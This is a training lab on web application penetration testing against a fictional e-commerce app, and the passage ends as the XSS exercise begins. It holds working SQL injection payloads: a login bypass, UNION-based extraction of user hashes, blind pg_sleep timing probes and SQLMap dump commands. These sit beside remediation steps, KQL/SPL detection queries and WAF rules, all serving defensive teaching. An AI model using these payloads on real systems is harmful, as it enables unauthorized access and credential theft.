Lab 20: Web Application Penetration Testing¶
Chapter: 44 — Web App Pentesting Difficulty: ⭐⭐⭐ Advanced Estimated Time: 4–5 hours Prerequisites: Chapter 22, Chapter 30, Chapter 44, basic HTTP/HTML knowledge
Overview¶
In this lab you will:
- Perform reconnaissance and discovery against a fictional e-commerce web application to enumerate attack surface
- Exploit SQL Injection vulnerabilities including classic, UNION-based, and blind SQLi techniques
- Discover and exploit Cross-Site Scripting (XSS) across reflected, stored, and DOM-based variants
- Chain Server-Side Request Forgery (SSRF) and Insecure Direct Object Reference (IDOR) vulnerabilities
- Attack authentication and session management mechanisms including JWT manipulation and CSRF
- Write WAF rules and SIEM detection queries (KQL + SPL) for each vulnerability class
- Map all findings to OWASP Top 10 categories and MITRE ATT&CK techniques
Synthetic Data Only
All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12) reserved ranges. All domains use *.example.com. No real applications, real credentials, or real infrastructure are referenced. All credentials shown as REDACTED. This lab is for defensive education only — never use these techniques against systems you do not own or without explicit written authorization.
Scenario¶
Engagement Brief — Pinnacle Commerce
Organization: Pinnacle Commerce (fictional) Application: ShopStream — customer-facing e-commerce platform Target URL: https://shopstream.example.com (SYNTHETIC) API Base: https://api.shopstream.example.com/v2 (SYNTHETIC) Server IP: 198.51.100.10 (SYNTHETIC — RFC 5737) Internal Network: 10.20.0.0/16 (SYNTHETIC) Cloud Provider: AWS (SYNTHETIC — Account ID 123456789012) Engagement Type: Gray-box web application penetration test Scope: All ShopStream web endpoints, API v2, authentication flows Out of Scope: Infrastructure (OS-level), third-party payment processor, DDoS testing Test Window: 2026-03-22 08:00 – 2026-03-24 20:00 UTC Emergency Contact: soc@pinnacle-commerce.example.com (SYNTHETIC)
Summary: Pinnacle Commerce has engaged your penetration testing team to assess the security posture of their ShopStream e-commerce platform ahead of a major product launch. ShopStream is a Python/Flask application with a PostgreSQL database, served behind an Nginx reverse proxy. The application handles customer registration, product browsing, shopping cart, order management, and an admin panel. You have been provided with two test accounts and the application's technology stack overview.
Prerequisites¶
Test Accounts (Synthetic)¶
| Role | Username | Password | Notes |
|---|---|---|---|
| Standard User | testuser | REDACTED | Regular customer account |
| Admin User | admin | REDACTED | Administrative panel access |
Required Tools¶
| Tool | Purpose | Version |
|---|---|---|
| Burp Suite Community/Pro | Proxy, scanner, repeater | 2024.x+ |
| SQLMap | Automated SQL injection | 1.8+ |
| ffuf | Web fuzzer / directory brute-forcer | 2.1+ |
| Nikto | Web server vulnerability scanner | 2.5+ |
| curl | HTTP request crafting | 8.x+ |
| Browser DevTools | DOM inspection, JS debugging | Any modern browser |
| jwt_tool | JWT analysis and manipulation | 2.x+ |
| Wappalyzer | Technology fingerprinting | Browser extension |
Target Architecture (Synthetic)¶
┌──────────────────────────────┐
│ Internet │
└──────────────┬───────────────┘
│
┌─────────────▼───────────────┐
│ Nginx Reverse Proxy │
│ 198.51.100.10:443 │
│ TLS 1.3 │
└─────────────┬───────────────┘
│
┌─────────────▼───────────────┐
│ Flask App (Gunicorn) │
│ 10.20.1.10:8080 │
│ ShopStream v3.2.1 │
└──────┬──────────┬────────────┘
│ │
┌────────────▼──┐ ┌────▼────────────┐
│ PostgreSQL │ │ Redis Cache │
│ 10.20.2.10 │ │ 10.20.2.20 │
│ :5432 │ │ :6379 │
└───────────────┘ └─────────────────┘
Lab Environment Setup¶
Setting Up Your Proxy
Configure Burp Suite as your intercepting proxy on 127.0.0.1:8080. Ensure your browser trusts the Burp CA certificate. All requests to shopstream.example.com should route through Burp for inspection and replay.
Step 1: Verify Connectivity¶
# Verify target is reachable (SYNTHETIC)
$ curl -s -o /dev/null -w "%{http_code}" https://shopstream.example.com
200
# Check response headers
$ curl -sI https://shopstream.example.com
HTTP/2 200
server: nginx/1.24.0
content-type: text/html; charset=utf-8
x-powered-by: Gunicorn/21.2.0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
set-cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...; HttpOnly; Secure; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains
Step 2: Authenticate and Obtain Session Token¶
# Login with test credentials (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"REDACTED"}' | jq .
{
"status": "success",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE_REDACTED",
"user": {
"id": 1001,
"username": "testuser",
"role": "customer",
"email": "testuser@example.com"
}
}
Exercise 1: Reconnaissance & Discovery¶
Objective
Enumerate the ShopStream application's attack surface by discovering hidden endpoints, identifying technologies in use, reviewing publicly accessible configuration files, and mapping the application's functionality. Build a comprehensive target profile before active exploitation.
1.1 Technology Fingerprinting¶
Step 1: HTTP Header Analysis
Analyze HTTP response headers to identify the technology stack, framework versions, and security headers in use.
# Detailed header inspection (SYNTHETIC)
$ curl -sI https://shopstream.example.com | grep -i "server\|x-powered\|x-frame\|content-security\|x-content\|strict"
server: nginx/1.24.0
x-powered-by: Gunicorn/21.2.0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
strict-transport-security: max-age=31536000; includeSubDomains
Missing Security Headers
Note the absence of Content-Security-Policy and Permissions-Policy headers. The X-Powered-By header leaks the backend framework (Gunicorn), confirming a Python-based stack. The X-Frame-Options: SAMEORIGIN allows framing from the same origin, which may be relevant for clickjacking scenarios.
Step 2: Wappalyzer-Style Technology Fingerprinting
Analyze page source, scripts, and cookies to build a technology profile.
# Extract technology indicators from page source (SYNTHETIC)
$ curl -s https://shopstream.example.com | grep -oP '(src|href)="[^"]*"' | head -20
src="/static/js/jquery-3.6.4.min.js"
src="/static/js/bootstrap-5.3.2.min.js"
src="/static/js/shopstream-app.js"
src="/static/js/cart-handler.js"
href="/static/css/bootstrap-5.3.2.min.css"
href="/static/css/shopstream-theme.css"
src="/static/js/vue-3.3.4.min.js"
href="/static/fonts/fontawesome-6.4.0/css/all.min.css"
Technology Profile (Expected Output)
| Component | Technology | Version | Source |
|---|---|---|---|
| Web Server | Nginx | 1.24.0 | HTTP headers |
| App Server | Gunicorn | 21.2.0 | X-Powered-By header |
| Framework | Flask | Unknown | Error pages, cookie names |
| Database | PostgreSQL | Unknown | Error messages (later) |
| Frontend | jQuery | 3.6.4 | Script include |
| CSS Framework | Bootstrap | 5.3.2 | CSS/JS includes |
| JS Framework | Vue.js | 3.3.4 | Script include |
| Icons | Font Awesome | 6.4.0 | CSS include |
| Session | JWT (HS256) | — | Cookie inspection |
| Cache | Redis | Unknown | Architecture doc |
1.2 Robots.txt and Sitemap Review¶
Step 3: Check robots.txt and sitemap.xml
# Retrieve robots.txt (SYNTHETIC)
$ curl -s https://shopstream.example.com/robots.txt
User-agent: *
Disallow: /admin/
Disallow: /api/v2/internal/
Disallow: /debug/
Disallow: /backup/
Disallow: /staging/
Sitemap: https://shopstream.example.com/sitemap.xml
# Retrieve sitemap (SYNTHETIC)
$ curl -s https://shopstream.example.com/sitemap.xml | head -30
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>https://shopstream.example.com/</loc></url>
<url><loc>https://shopstream.example.com/products</loc></url>
<url><loc>https://shopstream.example.com/categories</loc></url>
<url><loc>https://shopstream.example.com/deals</loc></url>
<url><loc>https://shopstream.example.com/about</loc></url>
<url><loc>https://shopstream.example.com/contact</loc></url>
<url><loc>https://shopstream.example.com/faq</loc></url>
<url><loc>https://shopstream.example.com/blog</loc></url>
<url><loc>https://shopstream.example.com/account/login</loc></url>
<url><loc>https://shopstream.example.com/account/register</loc></url>
</urlset>
Key Findings from robots.txt
The robots.txt reveals several interesting paths that the application wants hidden from search engines: /admin/, /api/v2/internal/, /debug/, /backup/, and /staging/. These are not access controls — robots.txt is advisory only. Each of these paths should be enumerated.
1.3 Directory Brute-Forcing¶
Step 4: Directory Enumeration with ffuf
# Directory brute-force with ffuf (SYNTHETIC)
$ ffuf -u https://shopstream.example.com/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-mc 200,301,302,403 \
-fc 404 \
-t 50 \
-o ffuf-results.json \
-of json
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : https://shopstream.example.com/FUZZ
:: Wordlist : FUZZ: directory-list-2.3-medium.txt
:: Output file : ffuf-results.json
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200,301,302,403
:: Filter : Response status: 404
________________________________________________
products [Status: 200, Size: 14523, Words: 1247]
admin [Status: 302, Size: 0, Words: 0]
api [Status: 200, Size: 892, Words: 67]
static [Status: 301, Size: 0, Words: 0]
account [Status: 302, Size: 0, Words: 0]
cart [Status: 302, Size: 0, Words: 0]
checkout [Status: 302, Size: 0, Words: 0]
debug [Status: 403, Size: 274, Words: 14]
backup [Status: 403, Size: 274, Words: 14]
staging [Status: 200, Size: 8921, Words: 743]
uploads [Status: 301, Size: 0, Words: 0]
health [Status: 200, Size: 45, Words: 3]
metrics [Status: 200, Size: 12847, Words: 534]
graphql [Status: 200, Size: 1204, Words: 89]
swagger [Status: 200, Size: 34521, Words: 4523]
:: Progress: [220546/220546] :: Job [1/1] :: 1250 req/sec :: Duration: [0:02:56] :: Errors: 0 ::
Step 5: API Endpoint Enumeration
# Enumerate API v2 endpoints (SYNTHETIC)
$ ffuf -u https://shopstream.example.com/api/v2/FUZZ \
-w /usr/share/wordlists/api/api-endpoints.txt \
-mc 200,201,401,403,405 \
-H "Authorization: Bearer eyJ0eXAiOiJKV1Qi..." \
-t 30
users [Status: 401, Size: 67, Words: 5]
users/me [Status: 200, Size: 342, Words: 23]
products [Status: 200, Size: 45123, Words: 3456]
products/search [Status: 200, Size: 892, Words: 67]
orders [Status: 200, Size: 2341, Words: 178]
orders/history [Status: 200, Size: 1567, Words: 112]
cart [Status: 200, Size: 456, Words: 34]
reviews [Status: 200, Size: 8934, Words: 678]
coupons/validate [Status: 405, Size: 89, Words: 6]
admin/users [Status: 403, Size: 78, Words: 6]
admin/orders [Status: 403, Size: 78, Words: 6]
admin/analytics [Status: 403, Size: 78, Words: 6]
internal/health [Status: 200, Size: 234, Words: 12]
internal/config [Status: 200, Size: 1456, Words: 89]
upload/image [Status: 405, Size: 89, Words: 6]
export/orders [Status: 403, Size: 78, Words: 6]
1.4 Interesting Endpoints Deep-Dive¶
Step 6: Investigate Exposed Endpoints
# Swagger/OpenAPI documentation exposed (SYNTHETIC)
$ curl -s https://shopstream.example.com/swagger | head -20
<!DOCTYPE html>
<html>
<head><title>ShopStream API v2 — Swagger UI</title></head>
<body>
<div id="swagger-ui"></div>
<script>
SwaggerUIBundle({
url: "/api/v2/openapi.json",
dom_id: '#swagger-ui'
})
</script>
</body>
</html>
# Retrieve OpenAPI spec (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/openapi.json | jq '.paths | keys[]'
"/api/v2/auth/login"
"/api/v2/auth/register"
"/api/v2/auth/reset-password"
"/api/v2/auth/refresh"
"/api/v2/users/{user_id}"
"/api/v2/users/me"
"/api/v2/products"
"/api/v2/products/{product_id}"
"/api/v2/products/search"
"/api/v2/orders"
"/api/v2/orders/{order_id}"
"/api/v2/orders/{order_id}/invoice"
"/api/v2/cart"
"/api/v2/cart/checkout"
"/api/v2/reviews"
"/api/v2/reviews/{review_id}"
"/api/v2/coupons/validate"
"/api/v2/upload/image"
"/api/v2/admin/users"
"/api/v2/admin/orders"
"/api/v2/admin/analytics"
"/api/v2/internal/health"
"/api/v2/internal/config"
"/api/v2/export/orders"
# Internal config endpoint leaking sensitive data (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/internal/config | jq .
{
"app_name": "ShopStream",
"version": "3.2.1",
"environment": "production",
"debug_mode": false,
"database": {
"host": "10.20.2.10",
"port": 5432,
"name": "shopstream_prod",
"user": "app_user"
},
"redis": {
"host": "10.20.2.20",
"port": 6379
},
"jwt_algorithm": "HS256",
"jwt_expiry": 3600,
"upload_dir": "/var/www/shopstream/uploads/",
"max_upload_size": "10MB",
"allowed_extensions": ["jpg", "jpeg", "png", "gif", "svg"],
"cloud_metadata_proxy": true,
"aws_region": "us-east-1"
}
Critical Finding: Internal Configuration Exposed
The /api/v2/internal/config endpoint is accessible without authentication and leaks internal infrastructure details including database hostname, Redis hostname, JWT algorithm, upload directory paths, and cloud metadata proxy status. This is an information disclosure vulnerability (OWASP A01:2021 — Broken Access Control).
1.5 Nikto Scan¶
Step 7: Run Nikto Scan
# Nikto web server scan (SYNTHETIC)
$ nikto -h https://shopstream.example.com -o nikto-report.html -Format htm
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 198.51.100.10
+ Target Hostname: shopstream.example.com
+ Target Port: 443
---------------------------------------------------------------------------
+ SSL Info: Subject: /CN=shopstream.example.com
Ciphers: TLS_AES_256_GCM_SHA384
Issuer: /C=US/O=Let's Encrypt/CN=R3
+ Start Time: 2026-03-22 08:15:00 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0
+ /: X-Powered-By header found: Gunicorn/21.2.0
+ /: Missing Content-Security-Policy header.
+ /: Missing Permissions-Policy header.
+ /admin/: Admin login page found.
+ /swagger/: Swagger API documentation found.
+ /staging/: Staging environment accessible from production.
+ /metrics: Application metrics endpoint publicly accessible.
+ /health: Health check endpoint found.
+ /uploads/: Directory listing enabled — may expose uploaded files.
+ /static/: Directory listing enabled.
+ /.git/HEAD: Git repository metadata found (information disclosure).
+ /api/v2/internal/config: Internal configuration endpoint accessible.
+ 7 findings identified.
---------------------------------------------------------------------------
+ End Time: 2026-03-22 08:17:34 (GMT0) (154 seconds)
---------------------------------------------------------------------------
Reconnaissance Summary
| Finding | Severity | OWASP Category | Path |
|---|---|---|---|
| Swagger/OpenAPI exposed | Medium | A01 — Broken Access Control | /swagger |
| Internal config leaking infra details | High | A01 — Broken Access Control | /api/v2/internal/config |
| Git metadata exposed | High | A05 — Security Misconfiguration | /.git/HEAD |
| Staging environment accessible | Medium | A05 — Security Misconfiguration | /staging/ |
| Application metrics public | Low | A05 — Security Misconfiguration | /metrics |
| Directory listing on uploads | Medium | A05 — Security Misconfiguration | /uploads/ |
| Missing CSP header | Medium | A05 — Security Misconfiguration | All pages |
| Missing Permissions-Policy | Low | A05 — Security Misconfiguration | All pages |
| Server version disclosure | Low | A05 — Security Misconfiguration | HTTP headers |
1.6 Remediation — Reconnaissance Findings¶
Remediation Recommendations
- Remove or restrict
/api/v2/internal/*endpoints — bind to internal network only or require admin authentication - Remove
.git/directory from web root or block access via Nginx:location ~ /\.git { deny all; } - Disable Swagger in production — serve only in development/staging environments
- Add security headers:
Content-Security-Policy,Permissions-Policy, removeX-Powered-By - Restrict
/staging/— require VPN or IP allowlist - Disable directory listing in Nginx:
autoindex off; - Restrict
/metricsto internal monitoring systems only
1.7 Detection Opportunities — Reconnaissance¶
-- KQL: Detect directory brute-forcing (high volume 404s from single IP)
W3CIISLog
| where TimeGenerated > ago(15m)
| where scStatus == 404
| summarize Count404 = count(), DistinctPaths = dcount(csUriStem) by cIP
| where Count404 > 100 and DistinctPaths > 50
| project cIP, Count404, DistinctPaths
| sort by Count404 desc
-- KQL: Detect access to sensitive paths
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUriStem has_any (".git", "/internal/", "/debug/", "/swagger",
"/backup/", "/staging/", "/metrics")
| project TimeGenerated, cIP, csMethod, csUriStem, scStatus, csUserAgent
| sort by TimeGenerated desc
// SPL: Detect directory brute-forcing
index=web sourcetype=access_combined
| bin _time span=15m
| stats count as request_count dc(uri_path) as unique_paths by src_ip, _time
| where request_count > 100 AND unique_paths > 50
| sort -request_count
// SPL: Detect sensitive path access
index=web sourcetype=access_combined
(uri_path="*/.git/*" OR uri_path="*/internal/*" OR uri_path="*/debug/*"
OR uri_path="*/swagger*" OR uri_path="*/backup/*" OR uri_path="*/staging/*")
| stats count by src_ip, uri_path, status
| sort -count
Exercise 2: SQL Injection (SQLi)¶
Objective
Identify and exploit SQL Injection vulnerabilities in the ShopStream application. Demonstrate classic SQLi in the login form, UNION-based data extraction, blind SQLi techniques, and automated exploitation with SQLMap. Extract synthetic database contents to prove impact, then provide remediation guidance.
OWASP Category: A03:2021 — Injection MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
2.1 Classic SQL Injection — Login Bypass¶
Step 1: Identify Injectable Parameter
Test the login form for SQL injection by submitting authentication requests with SQL metacharacters.
# Normal login request (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"REDACTED"}' | jq .
{
"status": "success",
"token": "eyJ0eXAiOiJKV1Qi...",
"user": {"id": 1001, "username": "testuser", "role": "customer"}
}
# Test for SQL injection with single quote (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser'\''","password":"anything"}' | jq .
{
"status": "error",
"message": "An unexpected error occurred",
"detail": "ProgrammingError: unterminated quoted string at or near \"'testuser''\" LINE 1: ...FROM users WHERE username = 'testuser'' AND password_hash = ..."
}
SQL Injection Confirmed
The error response reveals the raw SQL query structure and confirms the backend database is PostgreSQL. The application is constructing SQL queries via string concatenation rather than parameterized queries. The leaked query fragment shows: SELECT ... FROM users WHERE username = '<input>' AND password_hash = ...
Step 2: Authentication Bypass via SQLi
# SQLi authentication bypass (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"admin'\'' OR 1=1 --","password":"anything"}' | jq .
{
"status": "success",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE_REDACTED",
"user": {
"id": 1,
"username": "admin",
"role": "admin",
"email": "admin@pinnacle-commerce.example.com"
}
}
Impact: Full Authentication Bypass
The injected payload admin' OR 1=1 -- causes the SQL query to evaluate as WHERE username = 'admin' OR 1=1. The -- comments out the password check. The application returns an admin JWT token, granting full administrative access.
Vulnerable query (conceptual):
2.2 UNION-Based SQL Injection¶
Step 3: Determine Column Count
The product search endpoint is also vulnerable. Use ORDER BY to determine the number of columns in the result set.
# Determine number of columns via ORDER BY (SYNTHETIC)
# ORDER BY 1 — OK
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+1--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.status'
"success"
# ORDER BY 7 — OK
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+7--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.status'
"success"
# ORDER BY 8 — ERROR (column count is 7)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+8--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq .
{
"status": "error",
"message": "An unexpected error occurred",
"detail": "ORDER BY position 8 is not in select list"
}
Step 4: UNION-Based Data Extraction
# Extract database version and current user (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,version(),current_user,4,5,6,7--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.results[0]'
{
"id": 1,
"name": "PostgreSQL 15.4 on x86_64-pc-linux-gnu",
"description": "app_user",
"price": 4,
"category": 5,
"image_url": 6,
"rating": 7
}
# Enumerate database tables (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,table_name,table_schema,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema='public'--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.results[].name'
"users"
"products"
"orders"
"order_items"
"reviews"
"coupons"
"sessions"
"password_resets"
"admin_audit_log"
"payment_methods"
# Enumerate columns in users table (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,column_name,data_type,4,5,6,7+FROM+information_schema.columns+WHERE+table_name='users'--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.results[] | {column: .name, type: .description}'
{"column": "id", "type": "integer"}
{"column": "username", "type": "character varying"}
{"column": "email", "type": "character varying"}
{"column": "password_hash", "type": "character varying"}
{"column": "role", "type": "character varying"}
{"column": "full_name", "type": "character varying"}
{"column": "created_at", "type": "timestamp without time zone"}
{"column": "last_login", "type": "timestamp without time zone"}
{"column": "mfa_secret", "type": "character varying"}
{"column": "api_key", "type": "character varying"}
# Extract user credentials (SYNTHETIC — all data fictional)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+id,username,email,password_hash,role,full_name,7+FROM+users+LIMIT+5--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.results[] | {id, username: .name, email: .description, hash: .price, role: .category}'
{"id": 1, "username": "admin", "email": "admin@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "admin"}
{"id": 2, "username": "warehouse_mgr", "email": "warehouse@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "manager"}
{"id": 3, "username": "support_agent", "email": "support@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "support"}
{"id": 1001, "username": "testuser", "email": "testuser@example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "customer"}
{"id": 1002, "username": "jane_doe", "email": "jane@example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "customer"}
2.3 Blind SQL Injection¶
Step 5: Boolean-Based Blind SQLi
When the application does not return query results directly, blind techniques infer data one character at a time.
# Boolean-based blind SQLi — test if admin password hash starts with '$2b' (SYNTHETIC)
# TRUE condition — normal results returned
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+SUBSTRING(password_hash,1,3)+FROM+users+WHERE+username='admin')='\$2b'--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.results | length'
12
# FALSE condition — no results returned
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+SUBSTRING(password_hash,1,3)+FROM+users+WHERE+username='admin')='xxx'--" \
-H "Authorization: Bearer eyJ0eXAi..." | jq '.results | length'
0
Step 6: Time-Based Blind SQLi
# Time-based blind SQLi — if admin exists, delay 5 seconds (SYNTHETIC)
$ time curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+CASE+WHEN+(SELECT+count(*)+FROM+users+WHERE+role='admin')>0+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END)--" \
-H "Authorization: Bearer eyJ0eXAi..." -o /dev/null
real 0m5.127s # 5-second delay confirms admin user exists
user 0m0.012s
sys 0m0.008s
2.4 Automated Exploitation with SQLMap¶
Step 7: SQLMap Automated Scan
# SQLMap against the search endpoint (SYNTHETIC)
$ sqlmap -u "https://shopstream.example.com/api/v2/products/search?q=test" \
--headers="Authorization: Bearer eyJ0eXAi..." \
--dbms=PostgreSQL \
--level=3 --risk=2 \
--batch \
--threads=5 \
--output-dir=./sqlmap-output
___
__H__
___ ___[.]_____ ___ ___ {1.8.4#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey applicable laws.
[08:25:01] [INFO] testing connection to the target URL
[08:25:01] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:25:02] [INFO] testing if the target URL content is stable
[08:25:02] [INFO] target URL content is stable
[08:25:02] [INFO] testing if GET parameter 'q' is dynamic
[08:25:02] [INFO] GET parameter 'q' appears to be dynamic
[08:25:02] [INFO] heuristic (basic) test shows that GET parameter 'q' might be injectable (possible DBMS: 'PostgreSQL')
[08:25:03] [INFO] testing for SQL injection on GET parameter 'q'
[08:25:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:25:04] [INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[08:25:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[08:25:05] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[08:25:05] [INFO] testing 'PostgreSQL UNION query (NULL) - 1 to 20 columns'
[08:25:06] [INFO] GET parameter 'q' is 'PostgreSQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: q (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=test' AND 5765=5765 AND 'test'='test
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: q=test';SELECT PG_SLEEP(5)--
Type: UNION query
Title: PostgreSQL UNION query (NULL) - 7 columns
Payload: q=test' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: q=test' AND 5765=5765 AND pg_sleep(5) AND 'test'='test
---
[08:25:06] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL 15.4
# Dump users table with SQLMap (SYNTHETIC)
$ sqlmap -u "https://shopstream.example.com/api/v2/products/search?q=test" \
--headers="Authorization: Bearer eyJ0eXAi..." \
--dbms=PostgreSQL \
-D shopstream_prod -T users \
--dump --batch \
--threads=5
Database: shopstream_prod
Table: users
[5 entries]
+------+----------------+------------------------------------------+----------+------------------------------------+
| id | username | email | role | password_hash |
+------+----------------+------------------------------------------+----------+------------------------------------+
| 1 | admin | admin@pinnacle-commerce.example.com | admin | $2b$12$SYNTHETIC_HASH_REDACTED |
| 2 | warehouse_mgr | warehouse@pinnacle-commerce.example.com | manager | $2b$12$SYNTHETIC_HASH_REDACTED |
| 3 | support_agent | support@pinnacle-commerce.example.com | support | $2b$12$SYNTHETIC_HASH_REDACTED |
| 1001 | testuser | testuser@example.com | customer | $2b$12$SYNTHETIC_HASH_REDACTED |
| 1002 | jane_doe | jane@example.com | customer | $2b$12$SYNTHETIC_HASH_REDACTED |
+------+----------------+------------------------------------------+----------+------------------------------------+
2.5 Remediation — SQL Injection¶
Remediation Recommendations
- Use parameterized queries / prepared statements — never concatenate user input into SQL:
- Use an ORM (SQLAlchemy, Django ORM) to abstract SQL construction
- Apply least privilege — database user should only have SELECT/INSERT/UPDATE on required tables, never DROP or GRANT
- Implement input validation — reject SQL metacharacters in usernames, apply allowlist patterns
- Deploy a Web Application Firewall (WAF) with SQL injection rule sets
- Disable verbose error messages in production — return generic error responses
- Regular security testing — integrate SQLi detection into CI/CD pipeline
2.6 Detection Opportunities — SQL Injection¶
-- KQL: Detect SQL injection attempts in web logs
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUriQuery matches regex @"(?i)(union\s+select|or\s+1\s*=\s*1|'\s*(or|and)\s+|;\s*select|pg_sleep|information_schema|drop\s+table)"
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, csUserAgent
| sort by TimeGenerated desc
-- KQL: Detect SQLMap user agent
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUserAgent contains "sqlmap" or csUserAgent contains "Havij"
| summarize Count = count(), Endpoints = make_set(csUriStem) by cIP, csUserAgent
| sort by Count desc
-- KQL: Detect database error messages in responses (verbose errors)
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where ScStatus >= 500
| where ResponseBody has_any ("ProgrammingError", "syntax error", "unterminated",
"SQL", "ORA-", "ODBC", "postgresql", "mysql")
| project TimeGenerated, CIp, CsUriStem, ScStatus, ResponseBody
// SPL: Detect SQL injection patterns in web traffic
index=web sourcetype=access_combined
| eval sqli_pattern=if(match(uri_query, "(?i)(union\s+select|or\s+1\s*=\s*1|'\s*(or|and)|;\s*select|pg_sleep|information_schema)"), 1, 0)
| where sqli_pattern=1
| stats count by src_ip, uri_path, uri_query
| sort -count
// SPL: Detect SQLMap user agent strings
index=web sourcetype=access_combined
(useragent="*sqlmap*" OR useragent="*Havij*" OR useragent="*Nikto*")
| stats count dc(uri_path) as unique_paths by src_ip, useragent
| sort -count
WAF Rule — SQL Injection (ModSecurity-style):
# Block common SQL injection patterns
SecRule ARGS "@rx (?i)(union\s+select|'\s*or\s+1\s*=\s*1|;\s*select\s|;\s*drop\s|pg_sleep|information_schema\.)" \
"id:100001,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SQL Injection attempt detected',\
tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION',\
severity:'CRITICAL'"
Exercise 3: Cross-Site Scripting (XSS)¶
Objective
